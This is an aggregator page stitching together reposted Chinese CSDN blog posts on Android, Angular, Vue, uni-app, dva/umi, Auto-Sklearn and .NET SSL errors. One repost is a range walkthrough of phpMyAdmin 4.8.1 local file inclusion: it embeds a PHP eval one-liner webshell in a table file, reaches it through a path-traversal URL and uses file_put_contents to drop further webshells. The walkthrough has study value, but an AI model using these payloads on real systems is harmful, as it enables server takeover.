ReferenceQueue<Felix>();WeakReference<Felix> weakR = new WeakReference<Felix>(obj,rQueue); 总结 看完Android引用和回收机制，我们对于代码中内存问题的原因也有一定认识，当时现实中内存泄漏或者溢出的问题，总是不经意间，在我之后一些列的文章中，会对不同场景的代码问题进行分析和解决，一起来关注吧！ 本篇文章为转载内容。原文链接：https://blog.csdn.net/sslinp/article/details/84787843。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...blog.csdn.net/samscat/article/details/103328461。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 使用angular版本:1.7 html <div class="abouts"><div class="commentbox" ><ul><li><div class="number">{$good_percent}%</div><p>好评度</p></li><li><p>好评({$good_percent}%)</p></li><li><p>中评({$medium_percent}%)</p></li><li><p>差评({$pool_percent}%)</p></li></ul><div class="allbar"><p><span class="act"><a href="" ng-click="reSearch(0)">全部评价({$total})</a></span>  <span><a href="" ng-click="reSearch(1)">好评({$good})</a></span>  <span><a href="" ng-click="reSearch(2)">中评({$medium})</a></span>  <span><a href="" ng-click="reSearch(3)">差评({$pool})</a></span>  </p></div></div><ul class="_comments" ><li ng-repeat="item in commentlist"><div class="fl"><img src="{ {item.image} }" alt="" /><p class="tel">{ { item.cellphone } }</p></div><div class="fr"><div class="desc"><p>{ { item.content } }</p><div class="tips"><div class="tip">实用高效</div><div class="tip">服务态度好</div></div><p class="doservice"><span> 办理业务:香港公司注册</span> <span class="datetime">{ {item.add_time} }</span></p></div></div></li> </ul><div class="pagination" ng-if="totalNum!=1"><a ng-if="hasPrev()" ng-click="paging($event,0)">上一页</a><a ng-click="paging($event,1)">1</a><a ng-click="paging($event,2)">2</a><a ng-if="totalNum>2" ng-click="paging($event,3)">3</a><a ng-if="hasNext()" ng-click="paging($event,-1)">下一页</a><a ng-click="paging($event,-2)">末页</a><a>总共{ {totalNum} }页</a></div></div> js代码 var app=angular.module('myApp',[]);app.controller('commCtrl', function($scope, $http) {var reSearch=function(postPoints){var postData={'id':goods_id, //产品id'post_points':postPoints||$scope.paginationConf.postPoints, //全部0，好评1，中评2，差评3'limit':$scope.paginationConf.itemsPerPage, //行数'page':$scope.paginationConf.currentPage //页数};$http({method: 'POST',url: '/comment',data:postData,}).then(function successCallback(response) {// 请求成功执行代码// console.log(response.data)$scope.totalNum=Math.ceil(response.data.total/$scope.paginationConf.itemsPerPage);$scope.commentlist=response.data.list;}, function errorCallback(response) {// 请求失败执行代码console.log('请求失败')});}$scope.reSearch=reSearch;$scope.paginationConf={firstPage:1, //起始页 currentPage:1, //当前页itemsPerPage:5, //每页展示的数据条数postPoints:0 // 全部0，好评1，中评2，差评3}; $scope.paging=function(evt,nType){$(evt.target).addClass("active").siblings().removeClass("active");switch(nType){case -2:$scope.paginationConf.currentPage=$scope.totalNum;break;case -1:$scope.paginationConf.currentPage++;break;case 1:$scope.paginationConf.currentPage=1;break;case 2:$scope.paginationConf.currentPage=2;break;case 3:$scope.paginationConf.currentPage=3;break;default:$scope.paginationConf.currentPage--;} $scope.reSearch(0);}$scope.hasNext=function(){if($scope.paginationConf.currentPage<$scope.totalNum){return true;}else{return false;} }$scope.hasPrev=function(){if($scope.paginationConf.currentPage>1){return true;}else{return false;} }$scope.reSearch(0);// $scope.$watch('paginationConf.currentPage + paginationConf.postPoints', reSearch(0));}) 第一次用angular分页,处理的有些简陋,还有一些疑问留着下次解答: 1.ng-controller放在排序的外层包裹内容显示不出来,也不报错,放在最外层或者body下面包裹的第一层上才显示数据 在angular的函数里面获取元素de属性值,可通过click方法传参($event.target),相当于jquery的this 更多参考:https://www.cnblogs.com/sxz2008/p/6379427.html 本篇文章为转载内容。原文链接：https://blog.csdn.net/samscat/article/details/103328461。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

《大数据时代下的.NET数据管理新趋势》 随着大数据时代的来临，.NET平台下的数据处理需求日益增长，尤其是对数据去重、实时分析和高效存储的要求更为严格。近期，Microsoft宣布了针对.NET Core 6.0的更新，其中包括对Entity Framework Core的重大改进，特别是引入了新的IQueryable扩展方法，使得开发者能更灵活地处理大规模数据。 新的IQueryableExtensions模块允许在内存之外进行查询，这意味着在处理大量数据时，不必一次性加载所有数据到内存，从而显著降低内存压力。此外，Microsoft还加强了对延迟加载和流式处理的支持，使得在处理大数据集时，性能和用户体验得以优化。 同时，关于数据一致性，业界已经开始关注无服务器计算（Serverless）和事件驱动架构，这在.NET世界中也有所体现。Azure Functions等服务为开发者提供了无需管理服务器和基础设施的环境，有助于在处理大规模数据时保持数据一致性。 对于.NET开发者来说，学习如何利用这些新特性和工具，如使用LINQ的Streaming API，或者配合Docker和Kubernetes进行容器化部署，将是未来提升数据库操作能力和应对大数据挑战的关键。同时，持续关注.NET生态系统的更新和社区的最佳实践分享，将有助于在大数据时代更好地驾驭C进行数据库操作。

...blog.csdn.net/qq_32447301/article/details/93423515。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 一、dvajs 开源地址：https://dvajs.com/ 1.dva dva 首先是一个基于 redux 和 redux-saga 的数据流方案，然后为了简化开发体验，dva 还额外内置了 react-router 和 fetch，所以也可以理解为一个轻量级的应用框架。 2.特性 易学易用，仅有 6 个 api，对 redux 用户尤其友好，配合 umi 使用后更是降低为 0 API elm 概念，通过 reducers, effects 和 subscriptions 组织 model 插件机制，比如 dva-loading 可以自动处理 loading 状态，不用一遍遍地写 showLoading 和 hideLoading 支持 HMR，基于 babel-plugin-dva-hmr 实现 components、routes 和 models 的 HMR 二、umijs 开源地址：https://umijs.org/ 1.umi umi是一个基于路由的框架，支持next.js类似的传统路由和各种高级路由功能，例如路由级按需加载。凭借涵盖从源代码到构建产品的每个生命周期的完整插件系统，umi能够支持各种功能扩展和业务需求。目前，umi在社区和公司内部拥有近50多个插件。 umi是Ant Financial的基本前端框架，直接或间接地为600多个应用程序提供服务，包括Java，节点，移动应用程序，混合应用程序，纯前端资产应用程序，CMS应用程序等。umi为我们的内部用户提供了很好的服务，我们希望它能够很好地为外部用户服务。 2.功能 ? 开箱即用，内置支持反应，反应路由器等。 ?Next.js 喜欢和全功能的路由约定，它也支持配置的路由 ? 完整的插件系统，涵盖从源代码到生产的每个生命周期 ? 高性能，通过插件支持PWA，路由级代码分割等 ? 支持静态导出，适应各种环境，如控制台应用程序，移动应用程序，鸡蛋，支付宝钱包等 ? 快速启动启动，支持使用config 启用dll和hard-source-webpack-plugin ? 与IE9兼容，基于umi-plugin-polyfills ? 支持TypeScript，包括d.ts定义和umi test ? 与深度集成DVA，支持鸭子目录，模型的自动加载，代码分裂等 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_32447301/article/details/93423515。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...blog.csdn.net/weixin_57714647/article/details/130878069。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 Vue选项 什么是选项？ 使用选项式 API，我们可以用包含多个选项的对象来描述组件的逻辑，例如 data、methods 和 mounted。选项所定义的属性都会暴露在函数内部的 this 上，它会指向当前的组件实例。 以上是官网对于选项的概念，简单的说，选项是一组由Vue定义好的对象，你可以将你的代码写在指定的选项中，从而获得一些 “特异功能” 。 注：由于选项是Vue规定好的，因此在使用中我们不能更改其名称，也不可以重复定义 常用选项 1. data选项 必须是一个函数，将组件需要使用的变量定义在此函数的返回值对象中，定义的变量将会获得一个“特异功能” ---- 响应式 <template><div><!-- 在这里使用插值表达式将name渲染到页面 -->{ { name } }</div></template><script>export default {// data选项data(){return{// name是响应式的name:"Jay",} },}</script> 上面例子中的name就是一个响应式数据，在值发生改变时，视图（页面）上的name也会发生变化，那我们便可以通过操作name的变化去使视图发生变化，而不用进行繁琐的DOM操作，这也体现着Vue框架的 数据驱动 这一核心思想。 为什么数据要定义在data函数的返回值中，而不是定义在一个对象中？ 将数据定义在函数返回值中，可以确保每产生一个组件实例，都会调用一次函数，并返回一个新的对象，开辟一块新的空间。 如果将数据定义在对象中，可能会出现类似于浅拷贝中出现的问题，即多个组件实例指向同一块空间，一个组件实例修改数据，则全部数据发生变化。 2. methods选项 此选项是一个对象，其中存放着该组件要使用的函数，比如事件的回调函数… <template><div><!-- 添加点击事件，事件回调函数在methods中定义 --><button @click="add">点击加一</button> <p>{ { count } }</p></div></template><script>export default {data(){return{count:0,} },// 在methods中定义函数（方法）methods:{add(){// 在函数中要使用data中的变量，需加thisthis.count++},} }</script> 通过点击事件改变count的值，从而使页面上的值随之变化，再次体现 数据驱动 的核心思想 3. computed 计算属性 计算属性，对象形式，顾名思义，在计算属性中保存着一系列需要经过运算得出的属性 <template><p>路程：{ { distance } } km</p><p>速度：{ { speed } } km/h</p><!-- 使用计算属性，与变量的使用相同 --><p>花费的时间：{ { time } } h</p></template><script>export default {data() {return {distance: 1000,speed: 50,} },computed: {// 定义计算属性，类似于函数的定义，返回值就是该计算属性的值time() {return this.distance / this.speed} }}</script> 计算属性内部所依赖的数据发生变化时, 计算属性本身就会自动重新计算返回一个新的计算值并缓存起来。 计算属性内部所依赖的数据没有发生变化, 计算属性会直接返回上一次缓存的值。 因此上面例子中的distance（路程）与speed（速度）无论如何变化，time都会计算出正确的值。 4. directives 选项, 定义自定义指令( 局部指令 ) 在上节，我们学习了一些Vue内置指令，功能十分强大，那么我们可以自己定义一些指令吗？ 当然可以！我们可以在directives选项中创建自定义指令。 <template><!-- 使用自定义指令 --><div v-myshow="1"></div><div v-myshow="0"></div></template><script>export default {// 在directives中定义一个自定义指令，来模仿v-show的功能directives: {//el:添加自定义指令的元素；binding：指令携带的参数myshow(el, binding) {if (binding.value) {el.style.display = "block";} else {el.style.display = "none";} }} }</script><style scoped>div {width: 100px;height: 100px;background-color: red;margin: 10px;}</style> 像以上这种，在组件中定义的指令是局部指令，只能在本组件中使用，全局指令需要在main.js文件中定义，全局指令在任何.vue文件中都可使用。 注意: 当局部指令和全局指令冲突时, 局部指令优先生效. var app = createApp(App)//定义全局指令 app.directive("myshow", (el, binding) => {if (binding.value) {el.style.display = "block";} else {el.style.display = "none";} })// 全局指令可在任何组件使用 5. components组件选项（注册局部组件） 在一个组件中我们可能会使用到其他组件，在将组件引入后，需要在components中进行注册，才能使用。 <template><!-- 使用组件 --><Test /></template><script>// 引入组件import Test from './Test.vue'export default {// 注册组件components: {Test},}</script> 局部组件只能在当前组件内部使用，需要在任何组件中使用，需要在main.js文件中注册为全局组件 // 引入组件import Test from './Test.vue'// 注册全局组件，可在所有.vue文件中使用app.component('Test',Test); 6. 其他 filters 选项, 定义过滤器，vue2中使用，Vue3中已经弃用 mounted 等生命周期函数选项，我们在下节进行详细讲解… 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_57714647/article/details/130878069。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...blog.csdn.net/qq_45584157/article/details/117958700。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 原网站：https://www.cnblogs.com/minghost/p/11941668.html scroll组件：<template name="scroll"><view class=""><view class="all"><scroll-view class="nav-bar" scroll-x @scroll="scroll"><!-- 要想使用flex布局实现横向滚动，就要在scroll-view里加一层容器包裹，并且使用子组件才会出现滚动效果 --><view class="nav-bar-wrap"><block v-for="(item,index) in navbarArr" :key="index"><view class="nav-bar-item" @click="onNavbarItem(item.id)" :id="item.id"><image :src="item.pic_url" /><text>{ {item.name} }</text></view></block></view></scroll-view></view><view class="slider"><view class="slider-inside .slider-inside-location" :style="{left:lefts}"></view></view></view></template><script>export default {name: "scroll",data() {return {lefts:0} },props: {navbarArr: {type: Array},left: {type: Number} },created: function(e) {console.log(this.left,"leftinfo")},methods: {onNavbarItem(id) {console.log(id)// const id = options.currentTarget.dataset.id// wx.navigateTo({// url: /pages/mysignup/mysignup?id=${id},// })},scroll(event) {let that = thisconsole.log(event)let scrollLeft = event.detail.scrollLeft;let scrllWidth = event.detail.scrollWidth - 375;// that.left = ${(scrollLeft) / scrllWidth 100}%// this.$emit("changeLeft",that.lefts)// 32是剩余要滑动的地方let newLeft = scrollLeft / scrllWidth 32that.lefts =newLeft + 'rpx'} }}</script><style>.all {position: relative;height: 330rpx;overflow: hidden;background: fff;}scroll-view {white-space: nowrap;}/ 去除滚动条 /::-webkit-scrollbar {display: none;width: 0;height: 0;color: transparent;}.nav-bar-wrap {display: flex;flex-flow: column wrap;height: 330rpx;}.nav-bar-item {width: 187.5rpx;display: flex;flex-direction: column;align-items: center;padding-top: 28rpx;}.nav-bar-item image {display: block;height: 90rpx;width: 90rpx;margin: 0;}.nav-bar-item text {margin-top: 5rpx;line-height: 32rpx;font-size: 25rpx;}.slider {position: relative;margin-left: 50%;/ left: 50%; /transform: translateX(-50%);width: 64rpx;height: 6rpx;border-radius: 3rpx;background: eee;}.slider-inside {/ transform: translateX(-50%); /width: 32rpx;height: 100%;border-radius: 3rpx;background-color: 11BEA7;}.slider-inside-location {position: absolute;/ left: 50%; /}</style> 使用组件：<template><view><scroll :navbarArr="navbarArr" :left="left" @changeLeft="changeLeft"></scroll></view></template><script>import scroll from "../../components/scroll.vue"export default {components:{scroll},data() {return {navbarArr: [{pic_url: '../static/images/ic_57@2x.png',name: '骨科',id: 1},{pic_url: '../static/images/ic_59@2x.png',name: '检验科',id: 2},{pic_url: '../static/images/ic_56@2x.png',name: '外壳',id: 3},{pic_url: '../static/images/ic_53@2x.png',name: '口腔科',id: 4},{pic_url: '../static/images/ic_54@2x.png',name: '猫科',id: 5},{pic_url: '../static/images/ic_52@2x.png',name: '内科',id: 6},{pic_url: '../static/images/ic_50@2x.png',name: '皮肤科',id: 7},{pic_url: '../static/images/ic_52@2x.png',name: '肾病',id: 8},{pic_url: '../static/images/ic_58@2x.png',name: '血透科',id: 9},{pic_url: '../static/images/ic_62@2x.png',name: '肾病',id: 10},{pic_url: '../static/images/ic_64@2x.png',name: '血透科',id: 11},],left:0.65625} },methods: {changeLeft(e){let that = thisthat.left = e} },}</script> 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_45584157/article/details/117958700。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 为了防止代码重复，我们就有了，文件包含。很多网页如果要用到很多同样的函数，那么我们就可以使用这个文件包含函数，就避免了每个网页又去重复造轮子。 在index.php文件里包含1.txt，而1.txt的内容是phpinfo(),include函数包含1.txt，就会把1.txt的内容当成php文件执行，不管后缀是什么。1.txt也好，1.xml也好，只要里面是php代码，然后有被include函数包含，那么就被当成PHP文件执行。 如果包含的文件不存在，就会出现致命的错误，并报出绝对路径，然是不影响其他功能的执行，比如这里的nf和123的输出。那么就表明include函数，如果出现错误的话，并不会影响其他功能的运行。 如果包含的文件不存在，就会出现致命的错误，并报出绝对路径，影响后面功能的执行，比如这里的nf的输出，后面的功能因为2.txt报错，导致123未执行。那么就表明require函数，如果出现错误的话，会影响后面功能的运行。 只要文件内是php代码，文件包含是不在意文件后缀的。 12345.jpg的传参值是a，那么我们可以写传参值=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’) 然后生成一个新的php文件 访问index.php 以上我们接触的全部是本地文件包含 说了本地文件包含，我们再来看远程文件包含 简单来说远程文件包含，就是可以包含其他主机上的文件，并当成php代码执行。 要实现远程文件包含的话，php配置的allow_url_include = on必须为on（开启） 来我们可以来实验一下，把这个配置打开。 “其他选项菜单”——“打开配置文件”——“php-ini” 打开配置文件，搜索allow_url_include 把Off改为On，注：第一个字母要为大写 之后要重启才能生效。 配置开启后，我们来远程文件包含一下，我们来远程包含一下kali上的1.txt，可以看到没有本地包含，所以直接显示的内容。 那我们现在来远程包含一下kali的这个1.txt，看会不会有phpinfo，注意我这里是index文件哦，所以是默认的。 可以看到，包含成功！ 这里可以插一句题外话，如果是window服务器的话，可以让本地文件包含变成远程文件包含。需要开始XX配置，SMB服务。 这里我们可以发现，进入一个不存在的目录，然后再返回上一级，相当于没变目录位置，这个是不影响的，而且这个不存在的目录随便怎么写都可以。 但是php是非常严格的，进入一个不存在的目录，这里目录的名字里不能有？号，否则报错，然后再返回上一级，相当于没变目录位置，这个是不影响的，而且这个不存在的目录随便怎么写都可以。 实战 注意，这里php版本过低，会安装不上 安装好后，我们来解析下源码 1.txt内容phpinfo() 来本地文件包含一下，发现成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt 靶场 http://59.63.200.79:8010/lfi/phpmyadmin/ 先创建一个库名：nf 接着创建表：ff,字段数选2个就行了 然后选中我们之前创建好的库名和表名，开始写入数据，第一个就写个一句话木马，第二个随便填充。 然后我们找到存放表的路径。 这里我们要传参2个，那么就加上&这里我们找到之后传参phpinfo http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo(); 因为a在ff.frm里 <?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号 文件包含成功 用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号 写入成功后，我们连接这个8.php的木马。 http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php 在线测试时这样，但是我在本地测试的时候，还是有点不一样的。我就直接上不一样的地方，前面的地方都是一样的 1，创建一个库为yingqian1984, 2，创建一个表为yq1984 3，填充表数据,因为跟上面一样，2个字段一个木马，一个随便数据 4，找数据表的位置，最后我发现我的MySQL存放数据库的地方是在 C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984 文件包含成功。 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo(); 用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号 传参成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo(); 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...blog.csdn.net/qq_41185868/article/details/83758383。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 AI之AutoML：autosklearn/Auto-Sklearn(基于scikit-learn库的自动化的机器学习工具)的简介、安装、使用方法之详细攻略 目录 autosklearn/Auto-Sklearn的简介 autosklearn/Auto-Sklearn(基于scikit-learn库的自动化的机器学习工具)的概述 autosklearn/Auto-Sklearn的安装 系统安装要求¶ autosklearn/Auto-Sklearn的使用方法 1、基础案例 autosklearn/Auto-Sklearn的简介 autosklearn/Auto-Sklearn(基于scikit-learn库的自动化的机器学习工具)的概述 简介 Auto-Sklearn，在2015年由德国图宾根大学的研究人员提出的，最初的版本于2016年发布。auto-sklearn基于scikit-learn库进行开发，支持多种机器学习任务，包括分类、回归、时间序列等。 核心技术点 Auto-Sklearn使用了贝叶斯优化的方法进行超参数优化，可以在较短的时间内找到最优的超参数组合，从而得到更好的模型性能。 功能 Auto-Sklearn是一款基于Python的自动机器学习工具，可以自动进行机器学习的各个步骤，包括特征选择、特征预处理、算法选择和超参数优化等。 自动特征选择与工程：可以自动选择最优特征子集，并进行归一化、缺失值处理等特征工程。 自动模型选择：可以自动选择最优的机器学习算法来解决问题，支持的算法包括SVM、KNN、随机森林等。 自动超参数优化：可以自动搜索机器学习模型的最优超参数，获得最高性能的模型配置。 特点 auto-sklearn的优势在于它的易用性和灵活性。用户只需要提供数据集和一些基本的配置，就可以自动进行模型构建和优化。 auto-sklearn可以自动选择和配置算法和超参数，从而让用户省去了手动调参的过程。 auto-sklearn还支持并行化处理，可以在多个CPU或GPU上运行，进一步加速模型训练和优化。 优缺点 自动化：auto-sklearn能够自动化地完成机器学习的各个环节，从而让用户省去手动调参和特征工程等繁琐的工作。 灵活性：auto-sklearn提供了多种配置选项，用户可以根据自己的需求进行自定义配置。 性能好：auto-sklearn使用贝叶斯优化技术进行超参数优化，能够在短时间内找到最优的超参数组合，从而得到更好的模型性能。 处理大数据集时较慢：auto-sklearn的处理速度受限于计算资源，处理大数据集时需要较长时间。 可解释性较差：由于auto-sklearn是自动化的，生成的模型可解释性较差。 应用案例 Kaggle竞赛：auto-sklearn在多个Kaggle竞赛中表现出色，包括房价预测、分类、回归等多个任务。 自动化机器学习平台：auto-sklearn可以作为自动化机器学习平台的核心组件，帮助用户快速构建和部署机器学习模型。 数据科学教育：auto-sklearn可以作为教学工具，帮助学生快速入门机器学习，并加深对机器学习原理的理解。 autosklearn/Auto-Sklearn的安装 pip install auto-sklearnpip install -i https://pypi.tuna.tsinghua.edu.cn/simple auto-sklearnconda install -c conda-forge auto-sklearn 系统安装要求¶ auto-sklearn 具有以下系统要求： Linux 操作系统（例如 Ubuntu）（在此处获取 Linux） Python (>=3.7)（在此处获取 Python）， C++ 编译器（支持 C++11）（在此处获取 GCC）。 如果您尝试在没有提供 pyrfr 包的 wheel 文件的系统上安装 Auto-sklearn（请参阅此处了解可用的 wheels），您还需要： SWIG（在此处获取 SWIG）。 有关缺少 Microsoft Windows 和 macOS 支持的说明，请查看Windows/macOS 兼容性部分。 注意：auto-sklearn 当前不支持 Windows系统，因为auto-sklearn严重依赖 Python 模块resource。是 Python 的Unix 特定服务resource 的一部分 ，在 Windows 机器上不可用。因此，无法 在 Windows 机器上运行auto-sklearn 。 autosklearn/Auto-Sklearn的使用方法 1、基础案例 import sklearn.datasetsimport autosklearn.classification 加载Titanic数据集X, y = sklearn.datasets.load_breast_cancer(return_X_y=True) 使用Auto-Sklearn训练模型model = autosklearn.classification.AutoSklearnClassifier()model.fit(X, y) 输出模型评估结果print(model.sprint_statistics()) 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_41185868/article/details/83758383。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

.NET中SSL/TLS连接错误的探索与解决方案 1. 引言 在我们的日常开发工作中，安全传输层协议SSL/TLS是保护网络通信安全的重要一环。特别是在.NET这个平台下，当我们捣鼓Web服务、API接口调用，或者跟数据库打交道连接的时候，常常会碰见SSL/TLS连接错误这么个烦人的问题。本文将深入探讨这个问题，并通过生动的代码实例带你一步步解决它。 1.1 SSL/TLS的重要性 首先，我们来感受一下SSL/TLS对于现代应用开发的意义（情感化表达：想象一下你正在给朋友发送一封包含敏感信息的电子邮件，如果没有SSL/TLS，就如同裸奔在网络世界，那可是相当危险！）。SSL/TLS协议就像个秘密信使，它能在你的电脑（客户端）和网站服务器之间搭建一条加密的隧道，这样一来，你们传输的信息就能被锁得严严实实，无论是谁想偷窥还是动手脚都甭想得逞。对于任何使用.NET框架构建的应用程序来说，这可是保护数据安全、确保信息准确无误送达的关键一环！ 2. .NET中常见的SSL/TLS连接错误类型 2.1 证书验证失败 这可能是由于证书过期、颁发机构不受信任或主机名不匹配等原因引起的（情感化表达：就像你拿着一张无效的身份证明试图进入一个高度机密的区域，系统自然会拒绝你的请求）。 csharp // 示例：.NET中处理证书验证失败的代码示例 ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => { if (sslPolicyErrors == SslPolicyErrors.None) return true; // 这里可以添加自定义的证书验证逻辑，比如检查证书指纹、有效期等 // 但请注意，仅在测试环境使用此方法绕过验证，生产环境应确保证书正确无误 Console.WriteLine("证书验证失败，错误原因：{0}", sslPolicyErrors); return false; // 默认情况下返回false表示拒绝连接 }; 2.2 协议版本不兼容 随着TLS协议的不断升级，旧版本可能存在安全漏洞而被弃用。这个时候，假如服务器傲娇地说，“喂喂，我得用更新潮、更安全的TLS版本才能跟你沟通”，而客户端（比如你手头那个.NET应用程序小家伙）却挠挠头说，“抱歉啊老兄，我还不会那种高级语言呢”。那么，结果就像两个人分别说着各自的方言，鸡同鸭讲，完全对不上频道，自然而然就连接不成功啦。 csharp // 示例：设置.NET应用支持特定的TLS版本 System.Net.ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls13; 2.3 非法或损坏的证书链 有时，如果服务器提供的证书链不完整或者证书文件本身有问题，也可能导致SSL/TLS连接错误（探讨性话术：这就好比你拿到一本缺页的故事书，虽然每一页单独看起来没问题，但因为缺失关键章节，所以整体故事无法连贯起来）。 3. 解决方案与实践建议 - 更新系统和库：确保.NET Framework或.NET Core已更新到最新版本，以支持最新的TLS协议。 - 正确配置证书：服务器端应提供完整的、有效的且受信任的证书链。 - 严格控制证书验证：尽管上述示例展示了如何临时绕过证书验证，但在生产环境中必须确保所有证书都经过严格的验证。 - 细致排查问题：针对具体的错误提示和日志信息，结合代码示例进行针对性调试和修复。 总的来说，在.NET中处理SSL/TLS连接错误，不仅需要我们对协议有深入的理解，还需要根据实际情况灵活应对并采取正确的策略。当碰上这类问题，咱一块儿拿出耐心和细心，就像个侦探破案那样，一步步慢慢揭开谜团，最终，放心吧，肯定能找到解决问题的那个“钥匙线索”。

...blog.csdn.net/gong1422425666/article/details/72817469。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 一、prettyPhoto简介 prettyPhoto是一款基于jquery的轻量级的lightbox图片播放浏览插件，它不仅支持图片，还同时支持视频、flash、YouTube、iframe和ajax。而且prettyPhoto配置和使用都十分简单，扩展性也不错，你可以最大限度地自定义prettyPhoto。目前，prettyPhoto兼容大部分主流的浏览器，包括令人纠结的IE6。 prettyPhoto插件的项目地址：http://www.no-margin-for-errors.com/projects/prettyphoto-jquery-lightbox-clone/ 建议英文好的朋友直接去官网上了解这个插件的用法，如果你的英文很烂，那么也别急，下面我就给大家来一一介绍prettyPhoto的使用方法。 二、prettyPhoto使用方法介绍 1、引入jquery核心库和prettyPhoto插件库以及prettyPhoto样式表文件 复制代码代码如下: <script src="js/jquery.js" type="text/javascript" charset="utf-8"></script> <link rel="stylesheet" href="css/prettyPhoto.css" type="text/css" media="screen" charset="utf-8" /> 